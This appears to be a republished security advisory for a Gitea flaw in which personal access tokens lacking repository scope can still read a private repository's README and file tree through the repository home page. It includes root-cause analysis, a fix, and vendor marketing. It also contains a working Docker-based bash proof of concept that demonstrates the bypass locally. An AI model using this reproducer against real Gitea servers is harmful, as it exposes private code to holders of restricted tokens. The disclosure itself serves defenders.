Summary
Gitea: Personal access token scope enforcement bypass on the repository home page (GET /{owner}/{repo}) discloses private repository contents
A personal access token (PAT) or OAuth2 token that does not carry therepository scope or that is public-only is correctly rejected (HTTP 403)
by the recently hardened web content routes (archive download, raw/media file
download, and repository RSS/Atom feeds). However, the repository home page routeGET /{owner}/{repo} (handler repo.Home) serves the private repository's
rendered README, root file/directory tree, description, language statistics,
license, and latest-release information to that same token.
This is a token-scope enforcement bypass and private-repository content
disclosure. It is the same source→sink pattern already fixed for neighbouring
routes in:
- GHSA-cr4g-f395-h25h (CVE-2026-20706) token scope bypass on web archive download
- GHSA-3pww-vcvm-3gmj (CVE-2026-27761) token scope bypass on repository RSS/Atom feeds
repo.Home is the remaining token-auth-enabled content route that was not given
the guard.
Details / Root cause
Web routes accept token authentication only when explicitly opted in withwebAuth.AllowBasic / webAuth.AllowOAuth2. The repository home route carriesAllowBasic (added so that go get can resolve private modules):
// routers/web/web.go:1256
m.Get("/{username}/{reponame}", optSignIn, webAuth.AllowBasic,
context.RepoAssignment, context.RepoRefByType(git.RefTypeBranch),
repo.SetEditorconfigIfExists, repo.Home)
When a PAT/OAuth2 token is supplied via HTTP Basic auth, services/auth/basic.go
sets IsApiToken = true and records ApiTokenScope:
// services/auth/basic.go
store.GetData()["IsApiToken"] = true
store.GetData()["ApiTokenScope"] = token.Scope
The patched sibling handlers all call the web-side scope guardcontext.CheckRepoScopedToken(...), which enforces both the public-only
restriction and the repository scope:
routers/web/repo/download.go:23 (raw / media / archive) ← GHSA-cr4g
routers/web/feed/render.go:15 (all repo feeds) ← GHSA-3pww
routers/web/repo/attachment.go:190 (attachments / release assets, centralized)
routers/web/repo/githttp.go:161 (git smart HTTP) ← GHSA-cc8w
repo.Home (routers/web/repo/view_home.go:389) performs no such check. Its
only gate is checkHomeCodeViewable, which verifies the user's permission and
that the code unit is enabled neither of which constrains the token's scope.
The README, file listing, and sidebar are then rendered. (ThehandleRepoHomeFeed sub-path is guarded via ShowRepoFeed, but the HTML repo
view is not.)
Proof of Concept
Reproduced against gitea/gitea:main-nightly (build g2e1be0b114, identical to
the source commit above). A private repository admin/secretrepo is created, and
a token is minted with only the read:user scope (no repository scope).
=== anonymous baseline (repository is private) ===
anon GET /admin/secretrepo HTTP=404
=== same no-repo-scope token across routes ===
API repo get (proves token lacks repo scope) HTTP=403 canary=0
/admin/secretrepo/archive/main.zip (control) HTTP=403 canary=0
/admin/secretrepo/raw/branch/main/README.md HTTP=403 canary=0
/admin/secretrepo.rss (control) HTTP=403 canary=0
/admin/secretrepo (repo.Home, VULN) HTTP=200 canary=1
A second token with scope public-only,read:repository behaves identically:/archive → 403, but /admin/secretrepo → 200 and returns the private content.
canary=1 means the private README marker was returned in the HTML response; the
private file name SECRET.md is also disclosed in the rendered file tree.
Full self-contained reproducer (Docker, prints a PASS/FAIL verdict):
#!/usr/bin/env bash
set -euo pipefail
N=gitea-poc; PW='Adm1n!pass99'; CANARY='TOP-SECRET-CANARY-9F3A2'
docker rm -f $N >/dev/null 2>&1 || true
docker run -d --name $N \
-e GITEA__security__INSTALL_LOCK=true -e GITEA__database__DB_TYPE=sqlite3 \
-e GITEA__server__ROOT_URL=http://localhost:3000/ \
-e GITEA__service__DISABLE_REGISTRATION=true \
-p 3000:3000 gitea/gitea:main-nightly >/dev/null
for i in $(seq 1 40); do
[ "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/api/healthz)" = 200 ] && break; sleep 2; done
docker exec -u git $N gitea admin user create --admin --username admin \
--password "$PW" --email [email protected] --must-change-password=false >/dev/null
curl -s -u admin:"$PW" -X POST http://localhost:3000/api/v1/user/repos \
-H 'Content-Type: application/json' \
-d '{"name":"secretrepo","private":true,"auto_init":true,"default_branch":"main"}' >/dev/null
SHA=$(curl -s -u admin:"$PW" http://localhost:3000/api/v1/repos/admin/secretrepo/contents/README.md \
| python3 -c "import json,sys;print(json.load(sys.stdin)['sha'])")
curl -s -u admin:"$PW" -X PUT http://localhost:3000/api/v1/repos/admin/secretrepo/contents/README.md \
-H 'Content-Type: application/json' \
-d '{"content":"'"$(printf '# %s\nprivate' "$CANARY" | base64)"'","message":"u","sha":"'"$SHA"'","branch":"main"}' >/dev/null
TOK=$(docker exec -u git $N gitea admin user generate-access-token --username admin \
--scopes read:user --token-name norepo --raw | tail -1)
echo "anon : $(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/admin/secretrepo)"
for p in "archive/main.zip" "raw/branch/main/README.md" ".rss" ""; do
o=$(curl -s -u admin:"$TOK" -w '|%{http_code}' "http://localhost:3000/admin/secretrepo${p:+/}$p")
echo "/$p -> ${o##*|} canary=$(printf '%s' "$o" | grep -c "$CANARY" || true)"
done
echo "PASS if controls=403/404 and repo.Home (last line)=200 canary=1"
docker rm -f $N >/dev/null
Suggested remediation
Mirror the sibling handlers: at the start of repo.Home
(routers/web/repo/view_home.go), or as route middleware on routers/web/web.go:1256,
add:
context.CheckRepoScopedToken(ctx, ctx.Repo.Repository, auth_model.Read)
if ctx.Written() {
return
}
It is also worth auditing the other AllowBasic/AllowOAuth2 web routes that
render repository data for the same omission notablyactions.GetWorkflowBadge (routers/web/web.go:1568), which currently exposes a
private repository's workflow build status (pass/fail) to a token without therepository scope (lower impact, possibly intended since badges are designed to
be embeddable, but worth confirming).
Impact
Any holder of a non-repository-scoped or public-only token belonging to a user
who has access to private repositories can read those repositories' README, root
file/directory listing, description, languages, license, and latest release
content the token was explicitly scoped to be unable to read. This defeats the
purpose of fine-grained and public-only tokens (for example a CI token granted
only read:issue, or a public-only token issued to a third-party integration).
The disclosure is bounded to the repository root view because the deeper/{owner}/{repo}/src/* routes do not enable AllowBasic.
The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions. Typical impact: unauthorized data access or execution of privileged operations.
CVE-2026-58444 has a CVSS score of 4.3 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.27.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-58444? CVE-2026-58444 is a medium-severity incorrect authorization vulnerability in code.gitea.io/gitea (go), affecting versions < 1.27.0. It is fixed in 1.27.0. The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions.
- How severe is CVE-2026-58444? CVE-2026-58444 has a CVSS score of 4.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of code.gitea.io/gitea are affected by CVE-2026-58444? code.gitea.io/gitea (go) versions < 1.27.0 is affected.
- Is there a fix for CVE-2026-58444? Yes. CVE-2026-58444 is fixed in 1.27.0. Upgrade to this version or later.
- Is CVE-2026-58444 exploitable, and should I be worried? Whether CVE-2026-58444 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-58444 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-58444? Upgrade
code.gitea.io/giteato 1.27.0 or later.